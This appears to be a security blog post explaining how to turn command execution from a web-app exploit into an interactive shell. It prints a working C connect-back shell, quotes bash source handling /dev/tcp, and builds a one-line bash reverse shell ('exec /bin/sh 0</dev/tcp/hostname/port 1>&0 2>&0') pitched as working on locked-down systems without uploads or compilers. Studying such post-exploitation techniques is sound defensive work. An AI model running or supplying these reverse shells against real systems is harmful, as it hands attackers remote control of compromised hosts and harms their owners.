Connect-Back Shell (Literally)

By: Cris Neckar

In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It’s that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don’t have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:

int main (int c, char **v) {
char *ex[4];
struct sockaddr_in s4;
int s;
s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4,sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
ex[0]="/bin/sh";
ex[1]="sh";
ex[2]=NULL;
execve(ex[0],&ex[1],NULL);
}

Thats all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.

Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the /dev/tcp and /dev/udp bashisms. These aren’t actual devices but instead filenames which are handled internally in bash.

From bash 3.2:

redir.c:
static STRING_INT_ALIST _redir_special_filenames[] = {
...
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
...
case RF_DEVTCP:
case RF_DEVUDP:
...
fd = netopen (filename);

netopen.c:
netopen (path) char *path; {
...
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <-- Opps, NULL ptr deref
s = np + 9;
t = strchr (s, '/');
...
*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);

This goes on to open a socket to the provided address and port making our format something like ‘/dev/tcp/hostname/port’.

So can this be used to implement a connect back shell? Lets break down the C code we have been using line by line.

First we open a file descriptor to a remote system on a given port. Great, thats exactly what /dev/tcp and /dev/udp do.

Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The ‘exec’ command is generally used to replace the bash process with another (ie. sys_execve(), sounds interesting for later on). One of the other interesting things about ‘exec’ is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate dup2() using only bash built-ins by doing the following:

$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin

$ exec 1>&0 # Next we copy stdin to stdout

$ exec 2>&0 # And finally stdin to stderr

Now all we have left to do is execve() /bin/sh and ‘exec’ can also take care of that for us. So to bring this all together we get the following command:

$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.

There is one caveat to all this. The /dev/tcp and /dev/udp redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.